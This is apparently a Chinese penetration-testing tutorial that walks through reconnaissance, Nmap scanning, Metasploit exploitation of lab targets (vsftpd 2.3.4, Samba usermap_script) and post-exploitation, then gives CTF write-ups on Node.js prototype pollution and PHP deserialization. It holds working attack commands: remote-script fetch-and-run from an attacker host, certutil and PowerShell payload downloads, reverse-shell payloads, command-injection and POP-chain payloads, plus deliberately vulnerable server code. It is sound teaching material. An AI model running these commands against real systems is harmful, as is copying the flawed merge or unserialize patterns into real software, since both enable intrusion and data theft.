主动侦察涉及直接与目标系统进行网络交互，这会产生流量并可能被安全设备记录。此阶段的目标是绘制目标的网络拓扑，发现存活主机及其开放的服务 6。

3.2.1 子域名枚举与基础设施测绘

子域名往往是企业安全防线的薄弱环节。主域名（如 www.target.com）通常防护严密，但开发测试环境（如 dev.target.com）、旧版系统（legacy.target.com）或第三方集成入口可能存在未修补的漏洞。

Sublist3r 是进行子域名枚举的行业标准工具之一。它基于 Python 开发，能够通过查询 Baidu, Yahoo, Google, Bing, Ask, Netcraft, DNSdumpster, VirusTotal, ThreatCrowd 等多个搜索引擎和公开数据库来枚举子域名 17。

实战命令与参数解析：

python3 sublist3r.py -d example.com -t 10 -v -o subdomains.txt

-d: 目标域名。
-t: 线程数（Threads），增加线程数可加快枚举速度。
-v: 详细模式（Verbose），实时显示发现的结果。
-o: 将结果输出到文件，便于后续导入 Nmap 进行扫描。

除了 Sublist3r，Netcraft 和 VirusTotal 等在线平台也提供了丰富的历史 DNS 数据，可以揭示目标基础设施的演变过程。例如，通过 DNSdumpster 可以可视化地查看域名的 DNS 解析记录（A 记录、MX 记录、TXT 记录等），从而推断目标的网络架构（如是否使用了 CDN、邮件网关位置等）。

4. 第三阶段与第四阶段：威胁建模与漏洞分析 —— 从数据到风险的转化

在完成情报搜集后，测试者面对的是海量的原始数据。接下来的两个阶段——威胁建模与漏洞分析，旨在将这些数据转化为可执行的攻击计划 1。

4.1 威胁建模 (Threat Modeling)

威胁建模是对收集到的情报进行战略分析的过程。它要求测试者像真正的攻击者一样思考，分析哪些资产对业务最重要，以及通过何种路径可以触达这些资产 5。

攻击面映射 (Attack Surface Mapping)：

测试者需要识别所有可能的攻击入口。例如，通过 TheHarvester 发现的 VPN 入口可能成为凭证撞库的目标；通过 Sublist3r 发现的 test.target.com 可能运行着含有调试信息的应用。威胁建模的核心在于优先级排序——确定哪条攻击路径最具可行性且收益最大。

4.2 漏洞分析 (Vulnerability Analysis)

漏洞分析是技术层面的核心环节，旨在发现系统中存在的具体安全缺陷。这一阶段高度依赖于端口扫描和服务指纹识别，Nmap (Network Mapper) 无疑是该领域的王者 20。

4.2.1 Nmap 扫描策略与技术深度解析

Nmap 的强大之处在于其灵活性。针对不同的网络环境和探测需求，测试者需要采用不同的扫描策略 25。

主机发现 (Ping Scan) —— 存活探测

在扫描端口之前，首先需要确定哪些主机是在线的。

nmap -sn 192.168.1.0/24

-sn: 仅进行主机发现，不进行端口扫描（旧版本为 -sP）。Nmap 会发送 ICMP Echo 请求、TCP SYN 到 443 端口、TCP ACK 到 80 端口以及 ICMP Timestamp 请求。只要收到任何一种响应，即判定主机存活。这种策略能有效发现防火墙后仍暴露部分服务的主机。

2. 端口扫描技术 —— SYN 扫描 vs. Connect 扫描

TCP SYN 扫描 (-sS)：这是默认且最常用的扫描方式，被称为“半开放扫描”。
- 原理：测试者发送一个 SYN 包（建立连接请求）。
  - 若收到 SYN/ACK：端口开放。测试者随后发送 RST（复位）断开连接，不完成三次握手。
  - 若收到 RST：端口关闭。
  - 若无响应：端口被过滤（Filtered）。
- 优势：速度快，且由于未建立完整连接，通常不会在应用层日志中留下记录，隐蔽性较好。
- 命令：nmap -sS target
TCP Connect 扫描 (-sT)：当测试者没有原始套接字权限（非 root 用户）时使用。
- 原理：完成完整的 TCP 三次握手（SYN -> SYN/ACK -> ACK）。
- 劣势：速度较慢，且会在目标系统日志中留下明显的连接记录，容易被检测。
服务版本与操作系统探测 (-sV, -O)

仅仅知道端口 80 开放是不够的，测试者需要知道运行的是 Apache 2.4.49 还是 Nginx 1.18.0，因为特定版本的漏洞利用代码截然不同。

nmap -sV -O -p 80,443 target

-sV: 版本探测。Nmap 发送一系列复杂的探针包，通过分析响应的指纹信息来比对服务版本数据库。
-O: 操作系统探测。通过分析 TCP/IP 协议栈的细微实现差异（如 TTL 值、窗口大小、ISN 生成规律）来猜测操作系统类型。
综合扫描与脚本引擎 (-A, –script)

为了获取最全面的信息，通常使用综合扫描选项。

nmap -A -T4 target

-A: 启用操作系统探测、版本探测、脚本扫描（Script Scanning）和路由追踪（Traceroute）。
-T4: 计时模板。Nmap 提供 T0（最慢，规避 IDS）到 T5（最快）六个模板。T4 是推荐的平衡点，既保证速度又兼顾准确性。

Nmap Scripting Engine (NSE) 是 Nmap 的杀手锏，允许用户使用 Lua 脚本执行高级任务。

--script vuln: 自动检测常见漏洞（如 MS17-010 EternalBlue）。
--script ftp-anon: 检查 FTP 服务是否允许匿名登录。

4.2.2 漏洞库搜索：SearchSploit

当 Nmap 确认了服务版本（例如 vsftpd 2.3.4）后，下一步是查询该版本是否存在公开的利用代码。Exploit-DB 是全球最大的漏洞利用代码归档库，而 SearchSploit 是其离线命令行搜索工具 29。

实战操作流程：

搜索漏洞：
```
searchsploit vsftpd 2.3.4
```
输出将显示相关的 Exploit 标题和路径。
详细信息与复制：

如果发现了感兴趣的 Exploit（例如 ID 为 17491），可以使用以下命令将其复制到当前目录进行分析：
```
searchsploit -m 17491
```
或者查看其内容：
```
searchsploit -x 17491
```

深度分析：

漏洞分析阶段需要极高的严谨性。仅仅因为 SearchSploit 返回了结果，并不意味着漏洞一定存在。管理员可能虽然使用了旧版本软件，但已应用了安全补丁（Backporting），或者通过配置禁用了受影响的功能。因此，在进入下一阶段前，验证（Verification）是必不可少的，这通常通过发送无害的验证数据包（Proof of Concept, PoC）来实现。

5. 第五阶段：漏洞利用 (Exploitation) —— 突破防线

漏洞利用阶段是渗透测试的高潮，测试者通过执行特定的代码（Exploit）来利用前一阶段发现的漏洞，从而绕过安全机制，获取对目标系统的控制权。这一阶段不仅需要技术能力，更需要谨慎操作，以避免导致目标系统崩溃 1。我们将以业界标杆工具 Metasploit Framework (MSF) 为核心，结合具体的实战场景进行深度解析。

5.1 Metasploit Framework (MSF) 架构与实战方法论

Metasploit 是一个功能庞大的渗透测试框架，它将攻击过程模块化，使得复杂的攻击变得标准化和可重复。理解其核心架构对于高效使用至关重要 33。

核心模块解析：

Exploits（利用模块）：这是攻击的“弹头”，是一段利用特定漏洞（如缓冲区溢出、SQL 注入）的代码。
Payloads（载荷模块）：这是攻击的“战斗部”，是漏洞利用成功后在目标系统上执行的代码。常见的 Payload 包括：
- shell_reverse_tcp: 反弹一个基本的命令行 Shell。
- meterpreter: 一个高级的、驻留在内存中的动态 Payload，提供截屏、键盘记录、文件传输等强大功能，且极难被杀毒软件检测。
Auxiliary（辅助模块）：用于扫描、嗅探、指纹识别等，不直接获取 Shell，但在侦察和后渗透阶段非常有用。
Encoders（编码模块）：用于对 Payload 进行编码（如 Shikata Ga Nai 编码），以改变其特征码，试图绕过防病毒软件的检测。

MSFConsole 实战工作流：

启动与搜索：

msfconsole
msf6 > search <漏洞关键词>

选择模块：
```
msf6 > use <模块路径>
```
配置参数：

通过 show options 查看所需参数。核心参数通常包括：
- RHOSTS (Remote Hosts): 目标 IP 地址。
- LHOST (Local Host): 攻击机 IP 地址，用于接收反弹连接。
- LPORT: 监听端口。
执行攻击：
```
msf6 > exploit
```

5.2 实战场景 I：VSFTPD v2.3.4 后门利用 (Metasploitable 2)

场景背景：VSFTPD (Very Secure FTP Daemon) 是一款广泛使用的 FTP 服务器软件。然而，在 2011 年，有人向其源代码中植入了一个恶意后门。特定版本的 VSFTPD (2.3.4) 包含一个逻辑炸弹：如果在用户名字段中输入包含笑脸符号 :) 的字符串，服务器将在 TCP 6200 端口通过 root 权限开启一个监听 Shell 38。这个案例是理解“供应链攻击”和“后门漏洞”的经典教材。

利用步骤详解：

确认目标与服务：

通过 Nmap 扫描确认目标运行着受影响版本。
```
nmap -p 21 -sV 192.168.1.10
# 输出确认: vsftpd 2.3.4
```

加载 MSF 模块：

msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

配置与验证：

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

注意：此模块通常不需要设置 Payload，因为它直接连接后门端口 6200。

触发攻击：
```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```
若成功，控制台将显示 Command shell session 1 opened。此时输入 id 或 whoami，系统应返回 uid=0(root)，标志着最高权限的获取。

手动利用（原理验证）：

为了深入理解漏洞机理，我们可以不使用 Metasploit，而是通过 Netcat 手动触发 38：

触发后门：

telnet 192.168.1.10 21
# 输入用户名，必须包含 :)
user hacker:)
pass password123

此时连接可能会挂起，这是正常的。

连接后门端口：

打开一个新的终端窗口，连接目标的 6200 端口：
```
nc -v 192.168.1.10 6200
```
连接成功后，直接输入命令即可执行。

5.3 实战场景 II：Samba 用户名映射脚本漏洞 (Hack The Box - Lame)

场景背景：Samba 是 Linux/Unix 系统上实现 SMB 协议的软件，用于文件共享。在 CVE-2007-2447 中，Samba 允许在 username map script 配置项中执行 shell 命令。如果攻击者发送特定的用户名请求，Samba 会在未过滤的情况下将其传递给 /bin/sh 执行，从而导致远程命令执行（RCE） 42。

利用步骤详解：

情报确认：

Nmap 扫描显示端口 139/445 开放，Samba 版本在 3.0.20 到 3.0.25rc3 之间。

MSF 模块配置：

msf6 > search usermap_script
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS <Target_IP>
msf6 exploit(multi/samba/usermap_script) > set LHOST <Attacker_IP>

Payload 选择与执行：

这里我们显式指定一个反弹 Netcat 的 Payload，以增加稳定性：
```
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > exploit
```
攻击成功后，同样会获得一个 root 权限的 Shell。

6. 第六阶段：后渗透测试 (Post-Exploitation) —— 价值证明与持久化

获取初始 Shell 仅仅是渗透测试的中场。后渗透阶段的目标是评估攻击对业务的实际影响范围。这包括稳固现有访问权限、提升权限以获取敏感数据、横向移动到其他高价值目标，以及清理痕迹 1。

6.1 Shell 升级技术：从 Dumb Shell 到交互式 TTY

通过 Netcat 或某些 Exploit 获得的 Shell 通常是“非交互式”的（Dumb Shell）。这种 Shell 功能受限：不支持 su 或 sudo 交互输入密码，不支持 Tab 键命令补全，不支持 Vim 等全屏编辑器，甚至按下 Ctrl+C 会直接断开连接而非终止当前进程。为了进行后续操作，必须将其升级为全交互式 TTY 45。

Python PTY 升级法（标准流程）：

生成伪终端：

在受害者 Shell 中输入以下命令，利用 Python 的 pty 模块生成一个伪终端：
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
（如果目标仅有 Python 2，则使用 python）。此时 Shell 看起来稍微正常了一些，但仍未完全交互。
挂起与本地配置：

按下 Ctrl + Z 将当前 Shell 挂起到后台。

在攻击者本机终端输入：
```
stty raw -echo; fg
```
- stty raw: 将本地终端设置为原始模式，不处理输入（如 Ctrl+C），而是直接透传给远端。
- -echo: 关闭回显，避免输入两次显示。
- fg: 将后台挂起的 Shell 调回前台。
重置与环境变量设置：

回到 Shell 后，输入 reset 并回车，初始化终端状态。

最后设置环境变量以解决显示错位问题：
```
export TERM=xterm
export SHELL=bash
```
至此，你拥有了一个功能完备的交互式 Shell，可以自如地运行 sudo、vim 和 ssh。

6.2 提权 (Privilege Escalation)：向皇冠宝石进发

如果初始 Shell 仅有普通用户权限（如 www-data），测试者需要寻找途径提升至 root (Linux) 或 SYSTEM (Windows) 权限，这一过程称为提权。

6.2.1 自动化枚举工具：PEASS-ng

PEASS (Privilege Escalation Awesome Scripts SUITE) 是目前最全面、最流行的提权枚举工具套件。它能够快速扫描系统中的潜在提权路径 49。

LinPEAS (Linux Privilege Escalation Awesome Script)：

LinPEAS 会检查内核漏洞（如 Dirty COW）、SUID 文件、sudo 权限配置错误、Cron 定时任务、明文存储的密码、弱权限文件等。

实战技巧：通常攻击者会在本地搭建 Web 服务器托管脚本，然后在目标机上直接内存执行，避免落地文件被发现：
```
# 攻击机
python3 -m http.server 80
# 目标机
curl http://<Attacker_IP>/linpeas.sh | sh
```
输出结果中，红色加粗的文本通常表示极高概率的提权向量。
WinPEAS (Windows Privilege Escalation Awesome Script)：

针对 Windows 环境，检查未打补丁的漏洞（如 Potato 系列漏洞）、AlwaysInstallElevated 注册表项、不安全的服务权限、存储在注册表中的凭证等。

命令：winPEASx64.exe

6.2.2 常见提权向量解析

SUID 提权：在 Linux 中，如果 /usr/bin/find 等程序被设置了 SUID 位，且属主为 root，普通用户可以通过该程序以 root 身份执行命令：find. -exec /bin/sh -p \; -quit。
内核漏洞：如 Dirty Pipe (CVE-2022-0847) 或 PwnKit (CVE-2021-4034)，允许普通用户覆盖只读文件或执行任意代码。

6.3 文件传输技术 (File Transfers)：离地攻击的艺术

在后渗透阶段，攻击者需要将提权脚本、枚举工具或数据在攻击机与目标机之间传输。由于目标环境可能受到严格监控，利用系统原生工具（Living off the Land Binaries, LOLBins）进行传输是首选策略 54。

6.3.1 Windows 环境下的传输技巧

Certutil —— 被滥用的证书工具

Certutil.exe 是 Windows 用于管理证书的合法工具，但其下载 URL 内容并保存到本地的功能常被攻击者滥用 59。

certutil.exe -urlcache -split -f http://<Attacker_IP>/nc.exe c:\temp\nc.exe

风险提示：由于此技术过于泛滥，现代 EDR（如 Defender for Endpoint）和 SIEM 系统（如 Splunk）均有针对 certutil 下载行为的检测规则。在受监控环境中应谨慎使用。
PowerShell 下载技术

PowerShell 提供了多种下载方式，灵活性极高。

Invoke-WebRequest (iwr)：这是 PowerShell 3.0+ 的内置 cmdlet，语法简洁 63。

Invoke-WebRequest -Uri "http://<Attacker_IP>/winPEAS.exe" -OutFile "C:\temp\winPEAS.exe"

System.Net.WebClient：这是一种基于.NET 框架的方法，兼容性更好，且不依赖 Internet Explorer 的首次运行配置 66。

(New-Object System.Net.WebClient).DownloadFile('http://<Attacker_IP>/file.exe', 'C:\temp\file.exe')

为了绕过基于 User-Agent 的过滤，攻击者还可以自定义 User-Agent 头：

$wc = New-Object System.Net.WebClient
$wc.Headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...'
$wc.DownloadFile($url, $output)

6.3.2 Linux 环境与攻击机服务搭建

1. Linux 下载工具

Wget ： wget http://<Attacker_IP>/linpeas.sh -O /tmp/linpeas.sh
卷曲： curl http://<Attacker_IP>/linpeas.sh -o /tmp/linpeas.sh
攻击机搭建临时 HTTP 服务器

Python 是最快速搭建文件服务器的方式，用于向目标提供文件下载 69。

Python 3（推荐） ：
```
python3 -m http.server 8000
```
此命令会在 8000 端口开启 Web 服务，根目录为当前文件夹。
Python 2（旧版） ：
```
python -m SimpleHTTPServer 8000
```
注意：如果需要使用 80 端口（规避防火墙出站限制），必须使用 sudo 权限运行。

7. 第七阶段：报告撰写 (Reporting) —— 沟通价值的桥梁

渗透测试的最终交付物不是 Shell，而是一份详尽、清晰、专业的报告。报告不仅要告诉客户“哪里坏了”，更要解释“坏得多严重”以及“如何修好” 1。

7.1 报告的核心结构

一份标准的渗透测试报告应包含以下两个主要部分：

执行摘要 (Executive Summary) 75

这是报告中最重要的部分，主要受众是 C-Level 高管（CEO/CTO/CISO）。

非技术语言：避免使用堆溢出、SQL 注入等技术术语，转而使用“数据泄露风险”、“未授权访问”等业务语言。
业务影响分析：清晰阐述发现的漏洞对业务连续性、品牌声誉、财务状况和合规性（如 GDPR/PCI-DSS）的具体影响。
风险概览可视化：使用饼图或柱状图展示高、中、低危漏洞的数量分布。
战略性建议：提供宏观的修复方向，如“加强员工安全意识培训”、“实施多因素认证（MFA）”、“改进补丁管理流程”。
技术细节 (Technical Findings) 74

这部分针对 IT 技术团队和开发人员，要求极其详尽。

漏洞详情：包含漏洞名称、CVE 编号、CVSS 评分。
复现步骤 (Proof of Concept, PoC)：这是最具技术价值的部分。必须提供详细的截图、代码片段和操作步骤，确保客户的技术人员能够复现该漏洞，验证其真实性。
受影响资产：列出具体的 IP、URL、参数或端口。
修复建议 (Remediation)：提供具体的修复代码、配置修改建议或补丁下载链接，并给出验证修复的方法。

7.2 风险评估矩阵

在报告中，风险等级不应仅仅基于 CVSS 评分，还应结合业务上下文。

风险 = 可能性 (Likelihood) × 影响 (Impact)
例如，一个位于内网且无敏感数据的测试服务器上的 RCE 漏洞，其风险等级应低于面向互联网的核心支付网关上的 SQL 注入漏洞，尽管前者的 CVSS 分数可能更高。报告应体现这种差异化的风险评估。

8. 结论与未来展望

渗透测试是一项融合了技术深度、战术思维与合规要求的复杂工程。通过遵循 PTES 标准，从细致入微的情报搜集到破坏力巨大的漏洞利用，再到价值导向的报告撰写，安全从业者能够全面评估组织的安全态势。

随着云计算、容器化（Docker/Kubernetes）和零信任架构的普及，未来的渗透测试将面临新的挑战。自动化工具将更加智能，但无法取代人类测试者的逻辑思维；防御检测技术（如 EDR/XDR）的提升要求测试者掌握更隐蔽的免杀与绕过技术。最终，渗透测试将从单一的“找漏洞”演变为持续的“紫队演练”（Purple Teaming），通过攻防双方的实时对抗与协作，共同构建坚不可摧的数字防线。

原型链污染

Tue, 02 Dec 2025 00:00:00 +0000

原型链污染 (Prototype Chain Pollution)

1. 核心概念是什么？

首先，也是最重要的一点：这是一个 JavaScript 漏洞，通常出现在 Node.js 后端。它和 PHP 无关。

原型 (Prototype): 在 JavaScript 中，几乎所有对象都有一个内部链接指向另一个对象，这个对象就是它的“原型”。当你试图访问一个对象的属性时，如果在该对象本身上找不到，JavaScript 引擎就会沿着原型链向上查找。

Object.prototype: 它是原型链的顶端，可以看作是所有对象的“老祖宗”。

污染 (Pollution): 原型链污染指的是，攻击者通过某种方式，成功地修改了 Object.prototype，向其中添加了新的属性。

后果: 一旦“老祖宗”被修改，那么在这个应用中，所有通过 {} 或 new Object() 创建的对象，都会“继承”这个被污染的属性。

漏洞的根源：通常出现在不安全的对象合并 (merge)、克隆 (clone) 或路径赋值的函数中。当这些函数递归地处理一个由攻击者构造的 JSON 对象时，可能会错误地把 __proto__ 当作一个普通的键来处理，从而导致对 Object.prototype 的修改。

2. 在 CTF 中如何判断？

代码审计（白盒，通常是 Node.js）:

寻找不安全的合并逻辑: 查找实现对象深拷贝或合并功能的代码，特别是递归合并。

// 易受攻击的合并函数模式
function merge(target, source) {
  for (let key in source) {
    if (typeof target[key] === 'object' && source[key] !== null) {
      merge(target[key], source[key]); // 递归调用
    } else {
      target[key] = source[key]; // 赋值
    }
  }
}

检查库版本: 检查 package.json 文件，看是否使用了存在已知原型链污染漏洞的库的旧版本（例如 lodash, qs, ejs 等）。

黑盒测试:

寻找JSON输入点: 寻找接受 JSON 输入的地方，比如 URL 的查询参数（?a[b][c]=value）、POST 请求的 JSON body。

发送污染 payload: 尝试发送一个包含 __proto__ 键的 payload。

URL 查询参数: ?__proto__[polluted]=true

JSON Body: {"__proto__": {"polluted": true}}

验证污染: 发送污染 payload 后，请求应用的其他功能，观察是否有异常。比如，一个原本正常的 API 请求突然返回了 {"polluted": true}，或者一个模板渲染出现了意想不到的结果，这都说明原型链可能被污染了。

3. 在 CTF 中如何使用？

利用原型链污染的核心是寻找一个 Gadget Property。你污染原型链本身没有用，你必须污染一个会被应用程序代码在后续逻辑中使用的属性。

利用流程：

寻找 Gadget: 审计代码，寻找那些使用某个对象属性但没有严格验证其来源的代码。
权限检查: if (session.user.isAdmin) { ... }
命令执行: child_process.exec('ls ' + options.path)
模板渲染: res.render('index', { data: user.settings })
构造污染 Payload: 假设你找到了一个 isAdmin 的 Gadget，你可以发送如下 payload 来污染原型链：?__proto__[isAdmin]=true
触发 Gadget: 在污染成功后，再次请求那个会使用到 isAdmin 属性的业务逻辑。

比如，你再次访问个人中心页面。代码在检查 session.user.isAdmin 时，发现 session.user 对象本身没有 isAdmin 属性，于是沿着原型链向上找，最终在 Object.prototype 上找到了你注入的 isAdmin: true，从而让你获得了管理员权限。

简单示例：

目标代码 (Vulnerable Node.js/Express App):

const express = require('express');
const app = express();
app.use(express.json());

// 不安全的合并函数
function merge(target, source) { /* ... 和上面一样的易受攻击的代码 ... */ }

let session = { user: { name: 'guest' } };

// 接受用户设置并合并，这里是污染入口
app.post('/settings', (req, res) => {
    merge(session.user, req.body);
    res.send('Settings updated!');
});

// 只有 admin 能访问的路由，这里是 Gadget
app.get('/admin', (req, res) => {
    if (session.user.isAdmin === true) {
        res.send('Welcome, Admin! Here is the flag: ctf{...}');
    } else {
        res.send('Access denied.');
    }
});

app.listen(3000);

你的利用步骤：

第一步：发送污染 payload

curl -X POST -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}' http://localhost:3000/settings

第二步：触发 Gadget

curl http://localhost:3000/admin

你会看到返回了 flag，因为 session.user 对象继承了被污染的 isAdmin: true 属性。

例题：JavaScript 原型链污染 (经典题目改编)

这个例子展示了如何通过一个不安全的深拷贝函数污染原型链，并利用一个后续的 Gadget 来执行任意代码。

题目描述

名称: “NodeJS Config Service”

目标: 这是一个简单的配置服务，允许用户通过 API 更新他们的配置。服务后台使用了 child_process 来执行一些系统命令。请获取服务器的 /flag 文件内容。

源代码 (server.js):

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.json());

// 一个不安全的深拷贝/合并函数
function deepMerge(target, source) {
    for (const key in source) {
        if (Object.prototype.hasOwnProperty.call(source, key)) {
            if (target[key] && typeof target[key] === 'object') {
                deepMerge(target[key], source[key]); // 递归合并
            } else {
                target[key] = source[key]; // 直接赋值
            }
        }
    }
    return target;
}

let userConfig = {
    username: 'default',
    settings: {
        theme: 'dark',
        notifications: true
    },
    // 一个危险的 Gadget
    runDiagnostics: function() {
        // 默认情况下，这个命令是安全的
        let cmd = this.settings.pingHost || '127.0.0.1';
        exec(`ping -c 1 ${cmd}`, (err, stdout, stderr) => {
            console.log(stdout);
        });
    }
};

// 污染入口：允许用户更新配置
app.post('/api/config', (req, res) => {
    deepMerge(userConfig, req.body);
    userConfig.runDiagnostics(); // 每次更新配置后，自动运行诊断
    res.json({ message: 'Config updated' });
});

app.listen(3000, () => console.log('Server is running on port 3000'));

解析

漏洞判断

入口点: deepMerge 函数是典型的易受攻击的模式。当它处理 key 为 proto 的情况时，target[key] 实际上会变成 target[‘proto’]，这就会导致我们能够访问并修改 target 的原型。由于 target 在这里是 userConfig，一个普通对象，最终我们会污染到 Object.prototype。

寻找 Gadget: runDiagnostics 函数中存在命令执行 exec。命令的内容部分来自于 this.settings.pingHost。如果 userConfig.settings 对象中没有 pingHost 属性，JavaScript 就会沿着原型链向上查找。如果我们能污染 Object.prototype，给它添加一个 pingHost 属性，那么这里的代码就会使用我们注入的值。

构建利用链

通过 /api/config接口，发送一个恶意的 JSON。

这个 JSON 会利用 deepMerge 函数中的 proto 漏洞，在 Object.prototype 上添加一个名为 pingHost 的属性。

deepMerge 执行完毕后，代码会调用 userConfig.runDiagnostics()。

在 runDiagnostics 内部，当代码试图访问 this.settings.pingHost 时，由于 userConfig.settings 本身没有这个属性，它会从被污染的原型中找到我们注入的恶意命令。

exec 函数最终执行了我们构造的命令。

构造 Exploit Payload

我们想执行的命令是读取 /flag 文件。我们可以使用 ; 来注入新命令，例如 127.0.0.1; cat /flag。

我们需要构造一个 JSON，当它被 deepMerge 处理时，能够将 Object.prototype.pingHost 设置为我们的恶意命令。

Payload (JSON Body):

{
  "settings": {
    "__proto__": {
      "pingHost": "127.0.0.1; cat /flag"
    }
  }
}

解析：当 deepMerge 递归到 settings 对象时，target 是 userConfig.settings，source 是我们 payload 中的 {“proto”: …}。当 key 为 proto 时，target[key] 就会修改 userConfig.settings 的原型，也就是 Object.prototype。source[key] 是 {“pingHost”: …}，于是 pingHost 属性就被成功添加到了 Object.prototype 上。

使用

使用 curl 或 Postman 等工具，向 /api/config 发送一个 POST 请求。

curl -X POST \
  http://localhost:3000/api/config \
  -H 'Content-Type: application/json' \
  -d '{
    "settings": {
      "__proto__": {
        "pingHost": "127.0.0.1; cat /flag"
      }
    }
  }'

发送请求后，服务器会执行 ping -c 1 127.0.0.1; cat /flag。flag 的内容会显示在运行 server.js 的那个服务器端的终端上，作为 stdout 被打印出来。在 CTF 比赛中，通常会通过其他方式（比如反弹 shell）来获取输出。

PHP 反序列化

Tue, 02 Dec 2025 00:00:00 +0000

PHP 反序列化(PHP Unserialization)

1. 核心概念是什么？

想象一下，你有一个复杂的 PHP 对象（比如一个包含用户姓名、年龄、权限等信息的用户对象），你想把它存到数据库或在网络间传输。直接存对象是不行的，所以你需要一种方法把它“打包”成一个字符串。

serialize(): PHP 的一个函数，可以将一个 PHP 对象、数组或变量“打包”（序列化）成一个可以存储或传输的字符串。

unserialize(): 另一个函数，可以将这个字符串“解包”（反序列化），在内存中重新构造出原始的对象。

漏洞的根源：这个漏洞不在 serialize() 或 unserialize() 函数本身，而在于当 unserialize() 函数处理了由攻击者精心构造的、恶意的字符串时。

当一个对象被反序列化时，PHP 会自动调用一些特殊的方法，我们称之为“魔术方法 (Magic Methods)”。如果这些魔术方法中存在可以被利用的操作（比如读写文件、执行命令），漏洞就产生了。

CTF 中最关键的魔术方法：

__construct(): 创建对象时调用。
__destruct(): 对象被销毁（通常在脚本执行结束时）前调用。这是最常见的漏洞触发点。
__wakeup(): unserialize() 时调用。
__toString(): 当对象被当作字符串使用时（例如 echo $obj;）调用。第二常见的触发点。
__get(), __set(), __call(): 在访问不存在的属性或方法时调用，常作为利用链的一环。

2. 在 CTF 中如何判断？

代码审计（白盒）:

直接搜索关键字: 在源代码中全局搜索 unserialize()。这是最直接的信号。一旦找到，立即分析传递给它的参数是否是用户可控的（比如来自 $_GET, $_POST, $_COOKIE）。

寻找魔术方法: 查看项目中的各个类，看看它们有没有实现 __destruct, __wakeup, __toString 等危险的魔术方法。

黑盒测试:

寻找特征字符串: 检查 URL 参数、POST 请求体、特别是 Cookie 的值，寻找看起来像 Base64 编码的字符串，或者直接就是 O:4:”User”:2:{s:4:”name”;s:3:”Bob”;…} 这种格式的 PHP 序列化字符串。

Fuzzing 测试: 尝试修改这些可疑的参数值。比如把序列化字符串中的某个值改掉，看看服务器是否返回 500 错误或者不同的响应。这说明服务器很可能正在尝试反序列化你的输入。

3. 在 CTF 中如何使用？

利用 PHP 反序列化漏洞的核心是构造一个“POP Gadget Chain”（POP 指 Property-Oriented Programming）。你并不是注入新代码，而是利用应用程序中已经存在的类和方法，像搭积木一样把它们串联起来，最终执行危险操作。

利用流程：

寻找终点 (Sink): 在所有类的代码中，寻找一个可以直接导致漏洞利用的函数调用，比如：

文件操作: file_get_contents($this->filename), unlink($this->logFile)

命令执行: system($this->command), exec($this->cmd)

代码执行: eval($this->code)

寻找起点 (Source): 寻找一个会自动被调用的魔术方法，比如 __destruct 或 __toString。

构建利用链 (Gadget Chain):

如果 __destruct 方法直接调用了危险函数，那么恭喜你，利用非常简单。

但通常，__destruct 可能会调用 $this->obj->someMethod()。这时，你就需要去 someMethod() 的代码里继续寻找，看它是否又调用了其他对象的方法，一层层地往下找，直到最终能够调用到你在第一步找到的那个危险函数。

编写 EXP (Exploit):

你需要编写一个 PHP 脚本，在你的本地环境中 new 出这些在利用链中用到的类的实例。

精心设置每个对象的属性值，让它们串联起来。比如，A 对象的 obj 属性是 B 类的实例，B 对象的 cmd 属性是你想执行的命令字符串 “cat /flag”。

最后，用 serialize() 函数将你构造好的最外层对象序列化成字符串，再用 urlencode() 或 base64_encode() 处理一下，作为最终的 payload 发送给目标。

简单示例：

目标代码 (Vulnerable.php):

class Reader {
    public $file;
    public function __toString() {
        return file_get_contents($this->file);
    }
}
class User {
    public $username;
    public $profile;
    public function __destruct() {
        echo "Username: " . $this->profile; // 把 profile 当作字符串处理，触发 __toString
    }
}
// 假设代码从 cookie 中获取数据并反序列化
$data = unserialize(base64_decode($_COOKIE['user_data']));
你的利用脚本 (poc.php):
code
PHP
class Reader { public $file; }
class User { public $username; public $profile; }

$user_obj = new User();
$reader_obj = new Reader();

$reader_obj->file = '/etc/passwd'; // 设置终点 (Sink) 的参数
$user_obj->profile = $reader_obj; // 把 Reader 对象赋给 User 的 profile 属性，构建利用链

echo base64_encode(serialize($user_obj)); // 生成 payload

你只需要把 poc.php 生成的字符串，放到浏览器开发者工具的 Cookie (user_data) 里，然后刷新页面，就能看到 /etc/passwd 的内容了。

例题：PHP 反序列化入门题 (经典题目改编)

这个例子综合了许多 CTF 题目中的常见模式：反序列化一个从 Cookie 读取的对象，并通过魔术方法 __toString() 和 __destruct() 串联起来，最终实现文件读取。

题目描述

名称: “My Web Page”

目标: 网站上有一个功能，可以让你自定义个人页面的部分信息。你的用户名和简介被存储在 Cookie 中。请读取服务器上的 /flag.php 文件。

源代码 (index.php):

<?php
// highlight_file(__FILE__); // 假设这行被注释掉了，但我们可以推断出类似逻辑

class Profile {
    public $username;
    public $description;
    public $logger;

    public function __construct($username, $description) {
        $this->username = $username;
        $this->description = $description;
        $this->logger = new Logger();
    }

    public function __destruct() {
        // 当对象销毁时，记录日志
        $this->logger->log("Profile for user '{$this->username}' is being destroyed.");
    }
}

class Logger {
    private $log_file = '/var/www/html/log/app.log'; // 默认日志文件

    public function log($message) {
        // 将日志信息追加到日志文件中
        file_put_contents($this->log_file, $message . "\n", FILE_APPEND);
    }
}

class ReadFile {
    public $filename;

    public function __toString() {
        // 当对象被当作字符串处理时，读取文件内容
        return file_get_contents($this->filename);
    }
}

// 默认逻辑：如果 cookie 中有数据，则反序列化；否则创建一个新的
if (isset($_COOKIE['user_profile'])) {
    $profile = unserialize(base64_decode($_COOKIE['user_profile']));
} else {
    $profile = new Profile('guest', 'Welcome to my page!');
    setcookie('user_profile', base64_encode(serialize($profile)));
}

// 显示用户信息
echo "<h1>Welcome, {$profile->username}</h1>";
echo "<p>{$profile->description}</p>";

?>

解析

漏洞判断

入口点: 源代码明确显示 unserialize(base64_decode($_COOKIE['user_profile']))。这是一个典型的反序列化漏洞入口，因为 $_COOKIE 是用户完全可控的。

